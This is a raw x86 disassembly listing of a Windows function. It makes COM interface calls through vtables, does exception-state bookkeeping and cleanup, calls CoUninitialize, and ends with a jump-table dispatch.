mov eax, dword [ebp - 0x19c]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x74
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x774], eax
jmp 0x411456
mov eax, dword [ebp - 0x174]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x75
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x778], eax
jmp 0x411479
mov eax, dword [ebp - 0xb0]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x76
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x77c], eax
jmp 0x41149c
mov dword [ebp - 0x3c], 0x77
call sub.OLE32.DLL_CoUninitialize
jmp 0x4114aa
mov eax, esp
mov dword [eax], 0x24
call fcn.004413cc
mov dword [ebp - 0x48], eax
mov byte [ebp - 0x451], 1
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x84]
mov dword [ebp - 0x3c], 0x78
mov edx, esp
mov dword [edx + 4], ecx
lea ecx, [ebp - 0x450]
mov dword [edx], ecx
mov dword [ebp - 0x780], eax
call fcn.00411cc8
jmp 0x4114eb
mov dword [ebp - 0x3c], 0x79
mov eax, esp
lea ecx, [ebp - 0x450]
mov dword [eax + 4], ecx
mov ecx, dword [ebp - 0x780]
mov dword [eax], ecx
call fcn.00411d04
jmp 0x41150c
mov byte [ebp - 0x451], 0
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x3c], 0x7a
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 0xc], 0
mov dword [ecx + 8], fcn.00411d30
mov dword [ecx + 4], 0x445150
call fcn.0044147c
jmp 0x411a96
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xa8], esi
mov dword [ebp - 0x784], edx
mov dword [ebp - 0x788], eax
jmp 0x411a4b
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xa8], esi
mov dword [ebp - 0x78c], edx
mov dword [ebp - 0x790], eax
jmp 0x411a3d
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xa8], esi
mov dword [ebp - 0x794], edx
mov dword [ebp - 0x798], eax
jmp 0x4115d2
lea ecx, [ebp - 0x3dc]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0xa4], esi
mov dword [ebp - 0xa8], edi
mov dword [esp], ecx
mov dword [ebp - 0x79c], edx
mov dword [ebp - 0x7a0], eax
call fcn.00411e0c
lea eax, [ebp - 0x3f8]
mov dword [esp], eax
call fcn.00402348
jmp 0x411a3d
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xa8], esi
mov dword [ebp - 0x7a4], edx
mov dword [ebp - 0x7a8], eax
jmp 0x411631
lea ecx, [ebp - 0x418]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0xa4], esi
mov dword [ebp - 0xa8], edi
mov dword [esp], ecx
mov dword [ebp - 0x7ac], edx
mov dword [ebp - 0x7b0], eax
call fcn.00411e0c
lea eax, [ebp - 0x434]
mov dword [esp], eax
call fcn.00402348
jmp 0x411a3d
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xa8], esi
mov dword [ebp - 0x7b4], edx
mov dword [ebp - 0x7b8], eax
jmp 0x411690
lea ecx, [ebp - 0x450]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0xa4], esi
mov dword [ebp - 0xa8], edi
mov dword [esp], ecx
mov dword [ebp - 0x7bc], edx
mov dword [ebp - 0x7c0], eax
call fcn.00411d4c
test byte [ebp - 0x451], 1
jne 0x41169b
jmp 0x4116a7
mov eax, dword [ebp - 0x48]
mov ecx, esp
mov dword [ecx], eax
call fcn.004412b4
jmp 0x411a3d
mov dword [ebp - 0x458], 0
mov eax, dword [ebp - 0x174]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x44]
mov dword [ebp - 0x3c], 0x7b
mov edx, esp
lea esi, [ebp - 0x45c]
mov dword [edx], esi
mov dword [edx + 4], 0x44495a
mov dword [ebp - 0x7c4], eax
mov dword [ebp - 0x7c8], ecx
call fcn.00411da0
jmp 0x4116ec
mov eax, esp
lea ecx, [ebp - 0x45c]
mov dword [eax], ecx
call fcn.00411dcc
mov ecx, dword [ebp - 0x19c]
mov edx, esp
lea esi, [ebp - 0x480]
mov dword [edx], esi
mov dword [ebp - 0x7cc], eax
mov dword [ebp - 0x7d0], ecx
call fcn.00411d68
mov eax, dword [ebp - 0x474]
mov dword [ebp - 0x464], eax
mov eax, dword [ebp - 0x478]
mov dword [ebp - 0x468], eax
mov eax, dword [ebp - 0x480]
mov ecx, dword [ebp - 0x47c]
mov dword [ebp - 0x46c], ecx
mov dword [ebp - 0x470], eax
mov eax, esp
lea ecx, [ebp - 0x4a0]
mov dword [eax], ecx
call fcn.00411d68
mov eax, dword [ebp - 0x494]
mov dword [ebp - 0x484], eax
mov eax, dword [ebp - 0x498]
mov dword [ebp - 0x488], eax
mov eax, dword [ebp - 0x4a0]
mov ecx, dword [ebp - 0x49c]
mov dword [ebp - 0x48c], ecx
mov dword [ebp - 0x490], eax
mov dword [ebp - 0x3c], 0x7c
mov eax, esp
lea ecx, [ebp - 0x4c0]
mov dword [eax], ecx
mov dword [eax + 4], 0x444962
call fcn.00411fec
jmp 0x4117aa
mov eax, dword [ebp - 0x4b4]
mov dword [ebp - 0x4a4], eax
mov eax, dword [ebp - 0x4b8]
mov dword [ebp - 0x4a8], eax
mov eax, dword [ebp - 0x4c0]
mov ecx, dword [ebp - 0x4bc]
mov dword [ebp - 0x4ac], ecx
mov dword [ebp - 0x4b0], eax
mov dword [ebp - 0x3c], 0x7d
mov eax, dword [ebp - 0x4a4]
mov ecx, esp
mov dword [ecx + 0x40], eax
mov eax, dword [ebp - 0x4a8]
mov dword [ecx + 0x3c], eax
mov eax, dword [ebp - 0x4b0]
mov edx, dword [ebp - 0x4ac]
mov dword [ecx + 0x38], edx
mov dword [ecx + 0x34], eax
mov eax, dword [ebp - 0x484]
mov dword [ecx + 0x2c], eax
mov eax, dword [ebp - 0x488]
mov dword [ecx + 0x28], eax
mov eax, dword [ebp - 0x490]
mov edx, dword [ebp - 0x48c]
mov dword [ecx + 0x24], edx
mov dword [ecx + 0x20], eax
mov eax, dword [ebp - 0x464]
mov dword [ecx + 0x1c], eax
mov eax, dword [ebp - 0x468]
mov dword [ecx + 0x18], eax
mov eax, dword [ebp - 0x470]
mov edx, dword [ebp - 0x46c]
mov dword [ecx + 0x14], edx
mov dword [ecx + 0x10], eax
lea eax, [ebp - 0x458]
mov dword [ecx + 0x44], eax
mov eax, dword [ebp - 0x7d0]
mov dword [ecx + 8], eax
mov edx, dword [ebp - 0x7cc]
mov dword [ecx + 4], edx
mov esi, dword [ebp - 0x7c4]
mov dword [ecx], esi
mov dword [ecx + 0x30], 3
mov dword [ecx + 0xc], 6
mov ecx, dword [ebp - 0x7c8]
call ecx
sub esp, 0x48
mov dword [ebp - 0x7d4], eax
jmp 0x411893
mov eax, dword [ebp - 0x7d4]
mov dword [ebp - 0x84], eax
mov ecx, esp
lea edx, [ebp - 0x4c0]
mov dword [ecx], edx
call fcn.00411d84
mov eax, esp
lea ecx, [ebp - 0x4a0]
mov dword [eax], ecx
call fcn.00411d84
mov eax, esp
lea ecx, [ebp - 0x480]
mov dword [eax], ecx
call fcn.00411d84
mov eax, esp
lea ecx, [ebp - 0x45c]
mov dword [eax], ecx
call fcn.00411e0c
mov eax, dword [ebp - 0x458]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x7e
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x7d8], eax
jmp 0x4118fe
mov eax, dword [ebp - 0x25c]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x7f
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x7dc], eax
jmp 0x411921
mov eax, dword [ebp - 0x19c]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x80
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x7e0], eax
jmp 0x411944
mov eax, dword [ebp - 0x174]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x81
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x7e4], eax
jmp 0x411967
mov eax, dword [ebp - 0xb0]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x82
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x7e8], eax
jmp 0x41198a
mov dword [ebp - 0x3c], 0x83
call sub.OLE32.DLL_CoUninitialize
jmp 0x411998
lea eax, [ebp - 0x3cc]
mov dword [esp], eax
call fcn.00401c80
lea eax, [ebp - 0x3b0]
mov dword [esp], eax
call fcn.00401c80
lea eax, [ebp - 0x1f0]
mov dword [esp], eax
call fcn.00401c80
jmp 0x411a69
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xa8], esi
mov dword [ebp - 0x7ec], edx
mov dword [ebp - 0x7f0], eax
jmp 0x411a13
lea ecx, [ebp - 0x4c0]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0xa4], esi
mov dword [ebp - 0xa8], edi
mov dword [esp], ecx
mov dword [ebp - 0x7f4], edx
mov dword [ebp - 0x7f8], eax
call fcn.00411d84
lea eax, [ebp - 0x4a0]
mov dword [esp], eax
call fcn.00411d84
lea eax, [ebp - 0x480]
mov dword [esp], eax
call fcn.00411d84
lea eax, [ebp - 0x45c]
mov dword [esp], eax
call fcn.00411e0c
lea eax, [ebp - 0x3cc]
mov dword [esp], eax
call fcn.00401c80
lea eax, [ebp - 0x3b0]
mov dword [esp], eax
call fcn.00401c80
lea eax, [ebp - 0x1f0]
mov dword [esp], eax
call fcn.00401c80
jmp 0x411a81
lea eax, [ebp - 0x44]
mov dword [esp], eax
call fcn.004431f6
xor eax, eax
add esp, 0x83c
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x3c], 0xffffffff
mov dword [esp], eax
call fcn.00443174
nop
mov eax, dword [ebp - 0x40]
cmp eax, 0x83
mov dword [ebp - 0x7fc], eax
ja case.default.0x411ab2
mov eax, dword [ebp - 0x7fc]
sub eax, 1
jmp dword [eax*4 + 0x411abc]
ud2